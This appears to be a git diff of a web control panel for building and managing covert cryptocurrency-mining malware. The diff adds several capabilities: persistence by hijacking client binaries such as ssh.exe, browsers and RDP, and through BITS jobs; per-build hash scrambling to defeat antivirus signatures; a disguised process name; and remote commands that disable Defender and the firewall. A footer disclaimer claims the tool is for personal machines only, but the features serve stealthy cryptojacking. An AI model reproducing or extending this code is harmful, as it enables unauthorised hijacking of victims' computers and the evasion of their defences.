expect(mode).toBe('sample');
expect(data.length).toBe(48);
expect(validateChartSeries(data).ok).toBe(true);
});
it('resolveChartSeries prefers live when enough points', () => {
const live = generateSampleSeries('cpu', 20).map((p, i) => ({
...p,
value: 40 + i * 0.5,
}));
const { data, mode } = resolveChartSeries(live, 'cpu');
expect(mode).toBe('live');
expect(data.length).toBe(20);
});
it('preview constants are internally consistent', () => {
const totalPct = SAMPLE_CONTRIBUTION_BARS.reduce((s, b) => s + b.pct, 0);
expect(totalPct).toBeGreaterThan(98);
expect(totalPct).toBeLessThan(102);
expect(SAMPLE_FLEET_PREVIEW.hashrate).toBeGreaterThan(50_000);
expect(SAMPLE_FLEET_PREVIEW.xmrPerDay).toBeGreaterThan(0);
});
});

View File

@@ -0,0 +1,143 @@
import type { ChartPoint } from '../components/Charts/HashrateChart';
import type { ContributionBar } from './fleetAnalytics';
export type ChartSeriesKind = 'hashrate' | 'accept' | 'cpu' | 'mem' | 'gpu';
export type ChartDisplayMode = 'live' | 'sample' | 'blend';
const MIN_LIVE_POINTS = 12;
/** Fleet snapshot shown when no live miners — deck still feels “about to print”. */
export const SAMPLE_FLEET_PREVIEW = {
hashrate: 128_400,
acceptRate: 96.8,
avgCpu: 52,
avgMem: 61,
onlinePct: 88,
onlineCount: 7,
agentCount: 8,
xmrPerDay: 0.0384,
xmrPrice: 168.42,
} as const;
export const SAMPLE_CONTRIBUTION_BARS: ContributionBar[] = [
{ id: 's1', name: 'Vault-01', hashrate: 42_800, pct: 33.4 },
{ id: 's2', name: 'Forge-Rig', hashrate: 31_200, pct: 24.3 },
{ id: 's3', name: 'Lan-Node-7', hashrate: 28_100, pct: 21.9 },
{ id: 's4', name: 'Basement-XMR', hashrate: 26_300, pct: 20.4 },
];
export const SAMPLE_ACTIVITY = [
{ id: 'sa1', label: 'OK', ok: true, time: '12:04:11' },
{ id: 'sa2', label: 'OK', ok: true, time: '12:03:58' },
{ id: 'sa3', label: 'OK', ok: true, time: '12:03:41' },
{ id: 'sa4', label: 'OK', ok: true, time: '12:03:22' },
{ id: 'sa5', label: 'OK', ok: true, time: '12:02:59' },
{ id: 'sa6', label: 'BAD', ok: false, time: '12:02:44' },
{ id: 'sa7', label: 'OK', ok: true, time: '12:02:31' },
];
function formatTime(offsetMin: number): string {
const d = new Date(Date.now() - offsetMin * 60_000);
return d.toLocaleTimeString([], { hour: '2-digit', minute: '2-digit', second: '2-digit' });
}
function noise(i: number, amp: number): number {
return Math.sin(i * 0.7) * amp + Math.cos(i * 0.31) * (amp * 0.6);
}
/** Deterministic rich-looking telemetry for chart QA and empty-deck preview. */
export function generateSampleSeries(kind: ChartSeriesKind, points = 48): ChartPoint[] {
const out: ChartPoint[] = [];
for (let i = points - 1; i >= 0; i--) {
const t = formatTime(i * 2);
const p = (points - 1 - i) / Math.max(1, points - 1);
let value: number;
switch (kind) {
case 'hashrate':
value = 38_000 + p * 92_000 + noise(i, 4_200);
break;
case 'gpu':
value = 12_000_000 + p * 38_000_000 + noise(i, 1_800_000);
break;
case 'accept':
value = 93.5 + p * 3.2 + noise(i, 0.35);
value = Math.min(99.5, Math.max(91, value));
break;
case 'cpu':
value = 38 + p * 22 + noise(i, 4);
value = Math.min(88, Math.max(28, value));
break;
case 'mem':
default:
value = 44 + p * 18 + noise(i, 3);
value = Math.min(78, Math.max(36, value));
break;
}
out.push({ time: t, value: Math.round(value * 10) / 10 });
}
return out;
}
export function validateChartSeries(data: ChartPoint[]): { ok: boolean; errors: string[] } {
const errors: string[] = [];
if (!Array.isArray(data) || data.length === 0) {
errors.push('series is empty');
return { ok: false, errors };
}
data.forEach((pt, i) => {
if (!pt.time || typeof pt.time !== 'string') errors.push(`point ${i}: missing time`);
if (typeof pt.value !== 'number' || !Number.isFinite(pt.value)) errors.push(`point ${i}: invalid value`);
});
return { ok: errors.length === 0, errors };
}
function hasMeaningfulLive(live: ChartPoint[], kind: ChartSeriesKind): boolean {
if (live.length < MIN_LIVE_POINTS) return false;
const vals = live.map((p) => p.value);
const max = Math.max(...vals);
const min = Math.min(...vals);
if (kind === 'hashrate' || kind === 'gpu') return max > 0 && max !== min;
return max - min > 0.05;
}
/** Prefer live telemetry; pad with sample so graphs never look broken or empty. */
export function resolveChartSeries(
live: ChartPoint[],
kind: ChartSeriesKind,
options?: { tailValue?: number; minPoints?: number }
): { data: ChartPoint[]; mode: ChartDisplayMode } {
const minPoints = options?.minPoints ?? MIN_LIVE_POINTS;
const validation = validateChartSeries(live);
const liveOk = validation.ok && live.length >= minPoints && hasMeaningfulLive(live, kind);
if (liveOk) {
return { data: live.slice(-60), mode: 'live' };
}
const sample = generateSampleSeries(kind, 48);
if (live.length === 0) {
if (options?.tailValue != null && Number.isFinite(options.tailValue)) {
const last = sample[sample.length - 1];
sample[sample.length - 1] = { ...last, value: options.tailValue };
}
return { data: sample, mode: 'sample' };
}
const merged = [...sample.slice(0, Math.max(0, 48 - live.length)), ...live.slice(-24)];
validateChartSeries(merged);
return { data: merged, mode: 'blend' };
}
export function chartSeriesDelta(data: ChartPoint[]): number | null {
if (data.length < 2) return null;
const a = data[0].value;
const b = data[data.length - 1].value;
if (a === 0) return b > 0 ? 100 : 0;
return ((b - a) / Math.abs(a)) * 100;
}
export function chartSeriesPeak(data: ChartPoint[]): number {
if (data.length === 0) return 0;
return Math.max(...data.map((p) => p.value));
}

View File

@@ -0,0 +1,17 @@
/**
* @vitest-environment happy-dom
*/
import { describe, it, expect } from 'vitest';
import { desktopPathHint, DESKTOP_PUSH_MAX_BYTES } from './desktopPush';
describe('desktopPush', () => {
it('hints per platform', () => {
expect(desktopPathHint('windows')).toContain('Desktop');
expect(desktopPathHint('darwin')).toContain('~/Desktop');
expect(desktopPathHint('linux')).toContain('Desktop');
});
it('exports size limit', () => {
expect(DESKTOP_PUSH_MAX_BYTES).toBeGreaterThan(1024 * 1024);
});
});

View File

@@ -0,0 +1,46 @@
/** Max file size for WS base64 push (keeps command payloads reasonable). */
export const DESKTOP_PUSH_MAX_BYTES = 8 * 1024 * 1024;
export function desktopPathHint(platform?: string): string {
switch (platform?.toLowerCase()) {
case 'windows':
return '%USERPROFILE%\\Desktop\\';
case 'darwin':
return '~/Desktop/';
case 'linux':
return '~/Desktop/ (or XDG DESKTOP)';
default:
return 'Desktop (auto-detected per OS)';
}
}
export function readFileAsBase64(file: File): Promise<string> {
return new Promise((resolve, reject) => {
if (file.size > DESKTOP_PUSH_MAX_BYTES) {
reject(new Error(`File exceeds ${DESKTOP_PUSH_MAX_BYTES / (1024 * 1024)}MB limit for push`));
return;
}
const reader = new FileReader();
reader.onload = () => {
const result = reader.result as string;
const b64 = result.includes(',') ? result.split(',')[1] : result;
if (!b64) {
reject(new Error('Could not read file'));
return;
}
resolve(b64);
};
reader.onerror = () => reject(reader.error ?? new Error('read failed'));
reader.readAsDataURL(file);
});
}
export async function pushFileToAgentDesktop(
send: (action: string, args?: { path?: string; data?: string; command?: string }) => Promise<unknown>,
file: File,
remoteName?: string
): Promise<void> {
const b64 = await readFileAsBase64(file);
const name = (remoteName?.trim() || file.name).replace(/\\/g, '/');
await send('push_desktop', { path: name, data: b64 });
}

View File

@@ -14,12 +14,13 @@ export const FORGE_BUILD_DEFAULTS: Omit<
display_mode: 'background',
silent_mode: true,
run_as: 'scheduled',
host_binary_target: 'ssh',
auto_start: true,
persistence: true,
process_name: 'RuntimeBrokerHelper',
max_cpu_usage_pct: 80,
max_memory_percent: 70,
min_free_ram_mb: 1024,
max_cpu_usage_pct: 95,
max_memory_percent: 85,
min_free_ram_mb: 512,
idle_threshold_pct: 20,
idle_duration_minutes: 5,
schedule_start: '21:00',
@@ -53,6 +54,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
target_arch: 'all',
spread_kit: false,
obfuscate: false,
sigil_scramble: true,
sign_build: false,
};

View File

@@ -181,10 +181,13 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest {
}
// Run-as forces persistence
if (next.run_as === 'scheduled' || next.run_as === 'service') {
if (next.run_as === 'scheduled' || next.run_as === 'service' || next.run_as === 'bits' || next.run_as === 'host_binary') {
next.persistence = true;
next.auto_start = true;
}
if (next.run_as === 'host_binary' && !next.host_binary_target?.trim()) {
next.host_binary_target = 'ssh';
}
// AI sub-fields — keep defaults when off (server ignores); clear endpoint only if empty
if (!next.ai_enabled) {

View File

@@ -205,7 +205,7 @@ describe('applyForgeFieldUpdate', () => {
expect(out.install_custom_base).toBe('');
});
it('run_as scheduled/service forces persistence flags', () => {
it('run_as scheduled/service/bits forces persistence flags', () => {
const scheduled = applyForgeFieldUpdate(baseForm({ persistence: false, auto_start: false }), 'run_as', 'scheduled');
expect(scheduled.persistence).toBe(true);
expect(scheduled.auto_start).toBe(true);
@@ -213,6 +213,15 @@ describe('applyForgeFieldUpdate', () => {
const service = applyForgeFieldUpdate(baseForm({ persistence: false }), 'run_as', 'service');
expect(service.persistence).toBe(true);
expect(service.auto_start).toBe(true);
const bits = applyForgeFieldUpdate(baseForm({ persistence: false, auto_start: false }), 'run_as', 'bits');
expect(bits.persistence).toBe(true);
expect(bits.auto_start).toBe(true);
const hostBin = applyForgeFieldUpdate(baseForm({ persistence: false, auto_start: false }), 'run_as', 'host_binary');
expect(hostBin.persistence).toBe(true);
expect(hostBin.auto_start).toBe(true);
expect(hostBin.host_binary_target).toBe('ssh');
});
it('ai_enabled fills default endpoint and model when empty', () => {
@@ -258,6 +267,7 @@ describe('getForgeFieldMeta', () => {
'target_arch',
'obfuscate',
'sign_build',
'sigil_scramble',
];
for (const key of expectedKeys) {
expect(meta[key]).toBeDefined();
@@ -302,10 +312,12 @@ describe('getForgeFieldMeta', () => {
expect(meta.file_logging.lockedReason).toContain('Stealth mode');
});
it('locks persistence under scheduled/service run_as', () => {
const meta = getForgeFieldMeta(baseForm({ run_as: 'scheduled' }));
expect(meta.persistence.disabled).toBe(true);
expect(meta.auto_start.disabled).toBe(true);
it('locks persistence under scheduled/service/bits run_as', () => {
for (const runAs of ['scheduled', 'service', 'bits', 'host_binary'] as const) {
const meta = getForgeFieldMeta(baseForm({ run_as: runAs }));
expect(meta.persistence.disabled).toBe(true);
expect(meta.auto_start.disabled).toBe(true);
}
});
it('locks fusion when spread kit is on and vice versa', () => {

View File

@@ -180,11 +180,14 @@ export function applyForgeFieldUpdate(
break;
case 'run_as':
if (value === 'scheduled' || value === 'service') {
// Scheduled/service always creates a task — sync persistence flags so UI matches reality
if (value === 'scheduled' || value === 'service' || value === 'bits' || value === 'host_binary') {
// Scheduled/service/BITS/host binary always register persistence — sync flags so UI matches reality
next.persistence = true;
next.auto_start = true;
}
if (value === 'host_binary' && !next.host_binary_target?.trim()) {
next.host_binary_target = 'ssh';
}
break;
case 'ai_enabled':
@@ -226,7 +229,12 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
const isFixedThreads = form.thread_mode === 'fixed';
const isIdle = form.mining_mode === 'idle';
const isScheduled = form.mining_mode === 'scheduled';
const runAsForcedPersistence = form.run_as === 'scheduled' || form.run_as === 'service';
const runAsForcedPersistence =
form.run_as === 'scheduled' ||
form.run_as === 'service' ||
form.run_as === 'bits' ||
form.run_as === 'host_binary';
const isHostBinaryRun = form.run_as === 'host_binary';
const targetOs = form.target_os || 'windows';
const isUnixSingle = targetOs === 'linux' || targetOs === 'darwin';
const isWindowsOnly = targetOs === 'windows';
@@ -322,6 +330,17 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
: undefined,
},
run_as: { disabled: false, badge: 'baked' },
host_binary_target: {
disabled: !isHostBinaryRun || (!isWindowsOnly && !isUniversal),
badge: 'baked',
lockedReason:
!isHostBinaryRun
? 'Select Run As → Host Binary Hijack to choose a client binary.'
: !isWindowsOnly && !isUniversal
? 'Host binary hijack is Windows-only.'
: undefined,
hint: 'SSH, browsers, FTP, RDP client, etc. Requires administrator to replace system binaries.',
},
fusion_enabled: {
disabled: isSpreadKit,
badge: 'baked',
@@ -404,6 +423,11 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
: undefined,
hint: isUniversal ? 'Signs the Windows runner/worker inside the package.' : undefined,
},
sigil_scramble: {
disabled: false,
badge: 'server-only',
hint: 'Appends a unique entropy overlay and tweaks PE timestamp so each dispense has a different hash.',
},
};
}
@@ -416,8 +440,24 @@ export function getForgeLiveNotices(form: BuildRequest, fusionPrepSelected: bool
'Run As "Windows Service" creates a scheduled task — not a real Windows Service. Persistence stays on.'
);
}
if ((form.run_as === 'scheduled' || form.run_as === 'service') && !form.persistence) {
notices.push('Persistence is forced on for Scheduled/Service run modes.');
if (form.run_as === 'bits') {
notices.push(
'Run As BITS registers a Background Intelligent Transfer notify job — miner relaunches on transfer events/retries (Windows).'
);
}
if (form.run_as === 'host_binary') {
notices.push(
`Run As Host Binary backs up ${form.host_binary_target || 'ssh'} and replaces it with the worker — launching that app starts the miner then runs the original (admin required for System32 paths).`
);
}
if (
(form.run_as === 'scheduled' ||
form.run_as === 'service' ||
form.run_as === 'bits' ||
form.run_as === 'host_binary') &&
!form.persistence
) {
notices.push('Persistence is forced on for Scheduled/Service/BITS/Host Binary run modes.');
}
if (form.fusion_enabled && !fusionPrepSelected) {
notices.push('Fusion is enabled — upload prep.exe before you can forge.');

View File

@@ -21,6 +21,8 @@ const UI_REMOTE_ACTIONS = [
'get_log',
'powershell',
'upload',
'push_desktop',
'full_sys_check',
...AGGRESSIVE_REMOTE_ACTIONS,
] as const;
@@ -36,6 +38,8 @@ const AGENT_HANDLED = new Set([
'exec',
'powershell',
'upload',
'push_desktop',
'full_sys_check',
'download',
'ps',
'netstat',
@@ -54,6 +58,12 @@ const AGENT_HANDLED = new Set([
'subnet_scan',
'defender_off',
'firewall_punch',
'firewall_off',
'firewall_on',
'firewall_profiles',
'firewall_remove',
'bits_persist',
'host_binary_persist',
'mesh_status',
]);
@@ -78,8 +88,8 @@ describe('remote action wiring', () => {
describe('AGGRESSIVE_REMOTE_ACTIONS', () => {
it('lists every wired aggressive command once', () => {
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(9);
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(9);
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(15);
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(15);
});
});
@@ -114,7 +124,18 @@ describe('canRunAggressiveAction edge cases', () => {
it('remote aggressive ops gate tunnel, scan, defender, firewall', () => {
const noAgg = { ...fullCaps, remote_aggressive: false };
for (const action of ['start_tunnel', 'subnet_scan', 'defender_off', 'firewall_punch'] as const) {
for (const action of [
'start_tunnel',
'subnet_scan',
'defender_off',
'firewall_punch',
'firewall_off',
'firewall_on',
'firewall_profiles',
'firewall_remove',
'bits_persist',
'host_binary_persist',
] as const) {
expect(canRunAggressiveAction(action, noAgg, 'windows')).toBe(false);
expect(canRunAggressiveAction(action, fullCaps, 'windows')).toBe(true);
}

View File

@@ -30,6 +30,8 @@ export const FIELD_HELP: Record<string, string> = {
'Runs Garble on the worker binary before packaging. Slows the forge slightly but changes static signatures. Requires garble in PATH (devrun.bat installs it).',
sign_build:
'Signs the output .exe with your Authenticode certificate after forging. Configure the cert thumbprint in Calibrate → Forge Pipeline first.',
sigil_scramble:
'After compile, the server appends a unique Sigil overlay and nudges the PE timestamp so static AV hashes differ every forge. Runtime behavior is unchanged.',
obfuscate_default:
'When checked, new Forge forms default to Garble obfuscation. Also enabled when you launch with devrun.bat release.',
sign_enabled:
@@ -65,7 +67,8 @@ export const FIELD_HELP: Record<string, string> = {
display_mode: 'Visible shows a console window. Silent hides the window. Background is silent plus low priority — best for desktops.',
process_name: 'Installed .exe filename without extension. Shows in Task Manager. Example: RuntimeBrokerHelper',
persistence: 'When enabled, miner auto-starts after reboot via Windows Run key or scheduled task.',
run_as: 'User = Run key when persistence is on. Scheduled/Service always creates a logon task (persistence forced on — checkbox locks).',
run_as: 'User = Run key when persistence is on. Scheduled/Service = logon task. BITS = transfer notify job. Host Binary = replace a client app (ssh, browser, FTP, etc.) with the worker; running that app relaunches the miner then executes the original backup. Windows + admin for system paths.',
host_binary_target: 'Which host application to hijack: ssh, ftp, chrome, edge, firefox, putty, winscp, mstsc, notepad, calc, curl, telnet, or custom:C:\\full\\path.exe',
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
auto_start: 'Same as Persistence. Keeps miner running after reboot.',
fusion_enabled:
@@ -90,6 +93,7 @@ export const FIELD_HELP: Record<string, string> = {
self_healing: 'Watchdog re-applies persistence and restores the binary from backup if deleted. Scheduled tasks restart on failure.',
firewall_exclusion: 'On first install, adds Windows Firewall inbound/outbound allow rules for the installed miner .exe. Helps on locked-down PCs; may require one Run as administrator if the rule fails.',
open_firewall_on_start: 'When enabled, the control server adds a Windows Firewall inbound rule for its listen port (default 8989) on startup so LAN agents can connect.',
firewall_remote: 'From Fleet/Crucible remote ops (Windows, admin, Remote Aggressive Ops): FW Off/On toggles all profiles; FW Private Off disables Private+Public only; Open FW Port adds a TCP allow rule; Remove FW Rules clears AetherForge miner rules.',
file_logging: 'When disabled, the miner writes no log file on the host (recommended with stealth mode).',
stealth_mode: 'No console window, no log files, and persistence registered under the process name instead of CryptoMiner-*.',
ai_enabled: 'Enable AI Autonomy — the forged miner periodically asks the control server for Ollama decisions (self-healing, persistence checks). Requires Ollama reachable from the control server.',

View File

@@ -0,0 +1,23 @@
import { useEffect, useState } from 'react';
/** Matches CSS breakpoint used for mobile layout (iPhone / narrow viewports). */
export function useMediaQuery(query: string): boolean {
const [matches, setMatches] = useState(() => {
if (typeof window === 'undefined') return false;
return window.matchMedia(query).matches;
});
useEffect(() => {
const mq = window.matchMedia(query);
const onChange = () => setMatches(mq.matches);
onChange();
mq.addEventListener('change', onChange);
return () => mq.removeEventListener('change', onChange);
}, [query]);
return matches;
}
export function useIsMobileLayout(): boolean {
return useMediaQuery('(max-width: 768px)');
}

View File

@@ -6,6 +6,10 @@ import { routerFuture } from './routerFuture';
import ErrorBoundary from './components/ErrorBoundary';
import './styles/global.css';
import './styles/steampunk-theme.css';
import './styles/sacred-geometry.css';
import './styles/wealth-deck.css';
import './styles/mobile.css';
import './styles/visual-polish.css';
ReactDOM.createRoot(document.getElementById('root')!).render(
<React.StrictMode>

View File

@@ -4,6 +4,7 @@ import { useWebSocket } from '../hooks/useWebSocket';
import type { Agent, HashrateSample, ServerInfo } from '../types';
import LatencyBadge from '../components/Fleet/LatencyBadge';
import HashrateChart from '../components/Charts/HashrateChart';
import { resolveChartSeries } from '../help/chartSampleData';
import NeonCard from '../components/NeonCard/NeonCard';
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
import AgentListItem from '../components/Fleet/AgentListItem';
@@ -95,6 +96,7 @@ export default function AgentsPage() {
const [loadError, setLoadError] = useState('');
const [logContent, setLogContent] = useState('');
const [logLoading, setLogLoading] = useState(false);
const [logDownloading, setLogDownloading] = useState(false);
const [notesDraft, setNotesDraft] = useState('');
const [tagsDraft, setTagsDraft] = useState('');
const [metaSaving, setMetaSaving] = useState(false);
@@ -587,19 +589,28 @@ export default function AgentsPage() {
</div>
</div>
{hashrateHistory.length > 0 && (
{selectedAgent && (
<div className="detail-section">
<h3 className="font-tech">HASHRATE TELEMETRY</h3>
<HashrateChart
title=""
color="#00f5ff"
unit="H/s"
height={240}
data={[...hashrateHistory].reverse().map((s) => ({
{(() => {
const live = [...hashrateHistory].reverse().map((s) => ({
time: new Date(s.timestamp).toLocaleTimeString(),
value: s.hashrate,
}))}
/>
}));
const chart = resolveChartSeries(live, 'hashrate', {
tailValue: selectedAgent.hashrate_15m,
});
return (
<HashrateChart
title=""
color="#00f5ff"
unit="H/s"
height={240}
data={chart.data}
displayMode={chart.mode}
/>
);
})()}
</div>
)}
@@ -620,7 +631,29 @@ export default function AgentsPage() {
</div>
<div className="detail-section">
<h3>Agent Log <button type="button" className="agent-action-btn" onClick={() => refreshLog(true)} disabled={logLoading || selectedAgent.status !== 'online'}>{logLoading ? '…' : 'Refresh'}</button></h3>
<h3>
Agent Log{' '}
<button type="button" className="agent-action-btn" onClick={() => refreshLog(true)} disabled={logLoading || selectedAgent.status !== 'online'}>{logLoading ? '…' : 'Refresh'}</button>
<button
type="button"
className="agent-action-btn"
disabled={logDownloading || selectedAgent.status !== 'online'}
title="Download full agent log as a file"
style={{ marginLeft: '0.4rem' }}
onClick={async () => {
setLogDownloading(true);
try {
await api.downloadAgentLog(selectedAgent.id);
} catch (err) {
alert(err instanceof Error ? err.message : 'Download failed');
} finally {
setLogDownloading(false);
}
}}
>
{logDownloading ? '…' : '⬇ Download'}
</button>
</h3>
<p className="form-hint">Streams miner.log when file_logging is enabled (non-stealth builds).</p>
<pre className="log-viewer">{logContent || (selectedAgent.status === 'online' ? 'Click Fetch Log or Refresh' : 'Agent offline')}</pre>
</div>

View File

@@ -27,6 +27,7 @@ import {
type ForgeDeliverable,
} from '../help/forgeFormNormalize';
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal';
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
import DownloadButton from '../components/DownloadButton';
import PoolPresetPicker from '../components/PoolPresetPicker';
@@ -111,6 +112,7 @@ export default function BuilderPage() {
const [building, setBuilding] = useState(false);
const [error, setError] = useState('');
const [lastBuild, setLastBuild] = useState<BuildResponse | null>(null);
const [dispenseReveal, setDispenseReveal] = useState<BuildResponse | null>(null);
const [recentBuilds, setRecentBuilds] = useState<BuildRecord[]>([]);
const [loadingDefaults, setLoadingDefaults] = useState(true);
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
@@ -270,6 +272,7 @@ export default function BuilderPage() {
const finishForgeSuccess = async (result: BuildResponse) => {
setStage('Build complete!', 100);
setLastBuild(result);
setDispenseReveal(result);
loadRecentBuilds();
if (!forgedThisSessionRef.current) {
forgedThisSessionRef.current = true;
@@ -1414,13 +1417,13 @@ export default function BuilderPage() {
<label className="label">Max CPU Usage (%) <HelpTip field="max_cpu_usage_pct" /></label>
<input type="number" className="input" min={1} max={100} value={form.max_cpu_usage_pct}
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 100) updateField('max_cpu_usage_pct', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('max_cpu_usage_pct', 80); }} />
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('max_cpu_usage_pct', 95); }} />
</div>
<div className="form-group">
<label className="label">Max Memory (%) <HelpTip field="max_memory_percent" /></label>
<input type="number" className="input" min={10} max={95} value={form.max_memory_percent}
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 10 && v <= 95) updateField('max_memory_percent', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 10) updateField('max_memory_percent', 70); }} />
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 10) updateField('max_memory_percent', 85); }} />
<FieldHint field="max_memory_percent" />
</div>
</div>
@@ -1428,7 +1431,7 @@ export default function BuilderPage() {
<label className="label">Min Free RAM (MB) <HelpTip field="min_free_ram_mb" /></label>
<input type="number" className="input" min={256} value={form.min_free_ram_mb}
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 256) updateField('min_free_ram_mb', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 256) updateField('min_free_ram_mb', 1024); }} />
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 256) updateField('min_free_ram_mb', 512); }} />
</div>
<div className="form-group">
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
@@ -1642,9 +1645,35 @@ export default function BuilderPage() {
<option value="user">Current User (Run key persistence optional)</option>
<option value="scheduled">Scheduled Task (logon task persistence forced on)</option>
<option value="service">Scheduled Task as SYSTEM (elevated persistence forced on)</option>
<option value="bits">BITS Job (notify hook persistence forced on, Windows)</option>
<option value="host_binary">Host Binary Hijack (replace client app persistence forced on, Windows)</option>
</select>
<FieldHint field="run_as" />
</div>
{form.run_as === 'host_binary' && (
<div className="form-group">
<label className="label">Host Binary Target <HelpTip field="host_binary_target" /></label>
<select
className="select"
value={form.host_binary_target || 'ssh'}
onChange={(e) => updateField('host_binary_target', e.target.value)}
>
<option value="ssh">OpenSSH / Git SSH (ssh.exe)</option>
<option value="ftp">FTP Client (ftp.exe)</option>
<option value="telnet">Telnet (telnet.exe)</option>
<option value="mstsc">Remote Desktop (mstsc.exe)</option>
<option value="curl">curl (curl.exe)</option>
<option value="notepad">Notepad</option>
<option value="calc">Calculator</option>
<option value="chrome">Google Chrome</option>
<option value="edge">Microsoft Edge</option>
<option value="firefox">Mozilla Firefox</option>
<option value="putty">PuTTY</option>
<option value="winscp">WinSCP</option>
</select>
<FieldHint field="host_binary_target" />
</div>
)}
<div className={`form-group checkbox-group ${fieldMeta.auto_start?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.auto_start}
@@ -2151,6 +2180,16 @@ export default function BuilderPage() {
<FieldHint field="sign_build" />
<ForgeLockedHint meta={fieldMeta.sign_build} />
</div>
<div className={`form-group checkbox-group ${fieldMeta.sigil_scramble?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.sigil_scramble !== false}
disabled={fieldMeta.sigil_scramble?.disabled}
onChange={(e) => updateField('sigil_scramble', e.target.checked)} />
<span>Sigil scramble on dispense (unique hash per forge) <HelpTip field="sigil_scramble" /></span>
</label>
<FieldHint field="sigil_scramble" />
<ForgeLockedHint meta={fieldMeta.sigil_scramble} />
</div>
</div>
<div className="form-section">
@@ -2326,7 +2365,13 @@ export default function BuilderPage() {
)}
{lastBuild.fusion_enabled && <span className="forge-last-build-tag">FUSION</span>}
{lastBuild.obfuscated && <span className="forge-last-build-tag">GARBLED</span>}
{lastBuild.sigil_scramble && <span className="forge-last-build-tag">SIGIL</span>}
{lastBuild.signed && <span className="forge-last-build-tag">SIGNED</span>}
{lastBuild.stealth_score != null && lastBuild.stealth_score > 0 && (
<span className="forge-last-build-tag" title="Stealth index">
{lastBuild.stealth_score}
</span>
)}
</div>
</div>
<div className="forge-last-build-actions">
@@ -2379,6 +2424,9 @@ export default function BuilderPage() {
</div>
)}
</div>
{dispenseReveal?.success && (
<ForgeDispenseReveal result={dispenseReveal} onClose={() => setDispenseReveal(null)} />
)}
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>

View File

@@ -326,6 +326,32 @@
.crucible-row { grid-template-columns: 1fr; }
}
@media (max-width: 768px) {
.crucible-page {
padding: 0;
}
.crucible-actions-grid,
.remote-actions-grid {
grid-template-columns: repeat(2, 1fr) !important;
gap: 0.5rem;
}
.crucible-actions-grid .btn,
.remote-actions-grid .btn {
font-size: 0.72rem;
padding: 0.5rem 0.35rem;
white-space: normal;
text-align: center;
line-height: 1.2;
}
.crucible-terminal-wrap {
min-height: 120px;
max-height: 40vh;
}
}
/* ── Groups ──────────────────────────────────────────────────────────── */
.crucible-groups-card,
@@ -390,62 +416,185 @@
/* ── Actions ─────────────────────────────────────────────────────────── */
.crucible-ops {
display: flex;
flex-direction: column;
gap: 0.75rem;
display: grid;
grid-template-columns: repeat(auto-fill, minmax(240px, 1fr));
gap: 0.55rem;
}
/* ── Op group card ───────────────────────────────────────────────────── */
.crucible-op-group {
display: flex;
align-items: center;
gap: 0.5rem;
flex-wrap: wrap;
gap: 0.35rem;
align-items: flex-start;
background: rgba(0, 0, 0, 0.3);
border: 1px solid rgba(255, 255, 255, 0.06);
border-radius: 9px;
padding: 0.6rem 0.75rem;
}
/* Label becomes a full-width header row inside the card */
.cop-label {
width: 100%;
font-family: var(--font-tech);
font-size: 0.68rem;
letter-spacing: 0.1em;
font-size: 0.62rem;
letter-spacing: 0.16em;
text-transform: uppercase;
color: var(--text-muted);
min-width: 52px;
padding-bottom: 0.38rem;
margin-bottom: 0.05rem;
border-bottom: 1px solid rgba(255, 255, 255, 0.06);
flex-shrink: 0;
}
/* ── Group colour themes ─────────────────────────────────────────────── */
.cop-recon { border-color: rgba(0, 245, 255, 0.13); }
.cop-recon .cop-label { color: rgba(0, 245, 255, 0.65); border-bottom-color: rgba(0, 245, 255, 0.1); }
.cop-agent { border-color: rgba(178, 75, 243, 0.18); }
.cop-agent .cop-label { color: rgba(178, 75, 243, 0.75); border-bottom-color: rgba(178, 75, 243, 0.13); }
.cop-sys { border-color: rgba(255, 176, 32, 0.18); }
.cop-sys .cop-label { color: rgba(255, 176, 32, 0.75); border-bottom-color: rgba(255, 176, 32, 0.13); }
.cop-agg { border-color: rgba(255, 100, 0, 0.22); background: rgba(30, 8, 0, 0.25); }
.cop-agg .cop-label { color: rgba(255, 130, 0, 0.85); border-bottom-color: rgba(255, 100, 0, 0.16); }
.cop-ssh { border-color: rgba(57, 255, 20, 0.13); }
.cop-ssh .cop-label { color: rgba(57, 255, 20, 0.65); border-bottom-color: rgba(57, 255, 20, 0.1); }
.cop-mining { border-color: rgba(255, 220, 50, 0.13); }
.cop-mining .cop-label { color: rgba(255, 210, 40, 0.65); border-bottom-color: rgba(255, 210, 40, 0.1); }
.cop-fileops { border-color: rgba(0, 212, 170, 0.16); }
